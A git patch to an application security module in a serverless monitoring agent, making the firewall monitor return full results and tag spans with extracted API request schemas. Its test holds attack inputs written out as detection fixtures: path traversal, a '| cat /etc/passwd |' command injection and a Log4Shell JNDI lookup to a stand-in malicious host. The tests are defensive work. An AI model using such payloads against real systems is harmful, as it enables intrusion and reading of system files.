From 9a74209ddac85637958f94e5b28e0445f8dacfc9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois=20Mazeau?= Date: Wed, 8 Nov 2023 18:27:39 +0100 Subject: [PATCH] serverless/appsec: generate and add request schemas to tags --- pkg/serverless/appsec/appsec.go | 22 +++++++--- pkg/serverless/appsec/appsec_test.go | 57 ++++++++++++++++++-------- pkg/serverless/appsec/httpsec/http.go | 3 +- pkg/serverless/appsec/httpsec/proxy.go | 11 ++++- pkg/serverless/appsec/httpsec/tags.go | 13 ++++++ 5 files changed, 81 insertions(+), 25 deletions(-) diff --git a/pkg/serverless/appsec/appsec.go b/pkg/serverless/appsec/appsec.go index e18a73fe955cf4..e7df51435ee8b9 100644 --- a/pkg/serverless/appsec/appsec.go +++ b/pkg/serverless/appsec/appsec.go @@ -78,7 +78,11 @@ func newAppSec() (*AppSec, error) { } var rules map[string]any - if err := json.Unmarshal([]byte(appsec.StaticRecommendedRules), &rules); err != nil { + ruleset, err := appsec.DefaultRuleset() + if err != nil { + return nil, err + } + if err := json.Unmarshal(ruleset, &rules); err != nil { return nil, err } handle, err := waf.NewHandle(rules, cfg.Obfuscator.KeyRegex, cfg.Obfuscator.ValueRegex) @@ -104,21 +108,27 @@ func (a *AppSec) Close() error { } // Monitor runs the security event rules and return the events as an slice -func (a *AppSec) Monitor(addresses map[string]any) []any { +func (a *AppSec) Monitor(addresses map[string]any) (res waf.Result) { log.Debugf("appsec: monitoring the request context %v", addresses) ctx := waf.NewContext(a.handle) if ctx == nil { - return nil + return res } defer ctx.Close() timeout := a.cfg.WafTimeout + + // Naive 10% sampling for API Security, disabled for testing + // if rand.Uint32()%10 == 0 { + addresses["waf.context.processor"] = map[string]any{"extract-schema": true} + // } + res, err := ctx.Run(waf.RunAddressData{Persistent: addresses}, timeout) if err != nil { if err == waf.ErrTimeout { log.Debugf("appsec: waf timeout value of %s reached", timeout) } else { log.Errorf("appsec: unexpected waf execution error: %v", err) - return nil + return res } } @@ -128,9 +138,9 @@ func (a *AppSec) Monitor(addresses map[string]any) []any { } if !a.eventsRateLimiter.Allow() { log.Debugf("appsec: security events discarded: the rate limit of %d events/s is reached", a.cfg.TraceRateLimit) - return nil + return waf.Result{} } - return res.Events + return res } // wafHealth is a simple test helper that returns the same thing as `waf.Health` diff --git a/pkg/serverless/appsec/appsec_test.go b/pkg/serverless/appsec/appsec_test.go index b66ceb180be72e..a8dabc1127038b 100644 --- a/pkg/serverless/appsec/appsec_test.go +++ b/pkg/serverless/appsec/appsec_test.go @@ -50,23 +50,48 @@ func TestMonitor(t *testing.T) { t.Setenv("DD_SERVERLESS_APPSEC_ENABLED", "true") t.Setenv("DD_APPSEC_WAF_TIMEOUT", "2s") asm, err := newAppSec() + defer asm.Close() require.NoError(t, err) require.Nil(t, err) - uri := "/path/to/resource/../../../../../database.yml.sqlite3" - addresses := map[string]interface{}{ - "server.request.uri.raw": uri, - "server.request.headers.no_cookies": map[string][]string{ - "user-agent": {"sql power injector"}, - }, - "server.request.query": map[string][]string{ - "query": {"$http_server_vars"}, - }, - "server.request.path_params": map[string]string{ - "proxy": "/path/to/resource | cat /etc/passwd |", - }, - "server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9", - } - events := asm.Monitor(addresses) - require.NotNil(t, events) + t.Run("events-detection", func(t *testing.T) { + uri := "/path/to/resource/../../../../../database.yml.sqlite3" + addresses := map[string]interface{}{ + "server.request.uri.raw": uri, + "server.request.headers.no_cookies": map[string][]string{ + "user-agent": {"sql power injector"}, + }, + "server.request.query": map[string][]string{ + "query": {"$http_server_vars"}, + }, + "server.request.path_params": map[string]string{ + "proxy": "/path/to/resource | cat /etc/passwd |", + }, + "server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9", + } + events := asm.Monitor(addresses) + require.NotNil(t, events) + }) + + t.Run("api-security", func(t *testing.T) { + uri := "/apisec/test" + addresses := map[string]interface{}{ + "server.request.uri.raw": uri, + "server.request.headers.no_cookies": map[string][]string{ + "user-agent": {"acunetix-product"}, + }, + "server.request.query": map[string][]string{ + "query": {"$http_server_vars"}, + }, + "server.request.path_params": map[string]string{ + "proxy": "/path/to/resource | cat /etc/passwd |", + }, + "server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9", + "waf.context.processor": map[string]any{"extract-schema": true}, + } + res := asm.Monitor(addresses) + require.NotNil(t, res.Events) + require.NotEmpty(t, res.Derivatives) + + }) } diff --git a/pkg/serverless/appsec/httpsec/http.go b/pkg/serverless/appsec/httpsec/http.go index 76632c3b09726c..0edd6e42ca4dfa 100644 --- a/pkg/serverless/appsec/httpsec/http.go +++ b/pkg/serverless/appsec/httpsec/http.go @@ -24,13 +24,14 @@ import ( "strings" "github.com/DataDog/datadog-agent/pkg/util/log" + waf "github.com/DataDog/go-libddwaf" ) // Monitorer is the interface type expected by the httpsec invocation // subprocessor monitoring the given security rules addresses and returning // the security events that matched. type Monitorer interface { - Monitor(addresses map[string]any) (events []any) + Monitor(addresses map[string]any) waf.Result } // AppSec monitoring context including the full list of monitored HTTP values diff --git a/pkg/serverless/appsec/httpsec/proxy.go b/pkg/serverless/appsec/httpsec/proxy.go index 0a7cf3fec4005b..fcfa41ae394068 100644 --- a/pkg/serverless/appsec/httpsec/proxy.go +++ b/pkg/serverless/appsec/httpsec/proxy.go @@ -237,9 +237,16 @@ func (lp *ProxyLifecycleProcessor) spanModifier(lastReqId string, chunk *pb.Trac log.Debug("appsec: missing span tag http.status_code") } - if events := lp.appsec.Monitor(ctx.toAddresses()); len(events) > 0 { - setSecurityEventsTags(span, events, reqHeaders, nil) + if res := lp.appsec.Monitor(ctx.toAddresses()); len(res.Events) > 0 { + setSecurityEventsTags(span, res.Events, reqHeaders, nil) chunk.Priority = int32(sampler.PriorityUserKeep) + + if len(res.Derivatives) > 0 { + log.Debugf("appsec: derivatives > 0!!!") + } else { + log.Debugf("appsec: no derivatives!!!") + } + setAPISecurityTags(span, res.Derivatives) } } diff --git a/pkg/serverless/appsec/httpsec/tags.go b/pkg/serverless/appsec/httpsec/tags.go index bb7c402de59c17..b02ac0ff763189 100644 --- a/pkg/serverless/appsec/httpsec/tags.go +++ b/pkg/serverless/appsec/httpsec/tags.go @@ -120,6 +120,19 @@ func setSecurityEventsTags(span span, events []any, headers, respHeaders map[str } } +// setAPISecurityEventsTags sets the AppSec-specific span tags related to API security schemas +func setAPISecurityTags(span span, derivatives map[string]any) { + for key, val := range derivatives { + log.Debugf("appsec: processing API sec tag %s", key) + if rawVal, err := json.Marshal(val); err != nil { + log.Errorf("appsec: unexpected error while creating the API security tags: %v", err) + } else { + log.Debugf("appsec: setting API sec tag %s", key) + span.SetMetaTag(key, string(rawVal)) + } + } +} + // normalizeHTTPHeaders returns the HTTP headers following Datadog's // normalization format. func normalizeHTTPHeaders(headers map[string][]string) (normalized map[string]string) {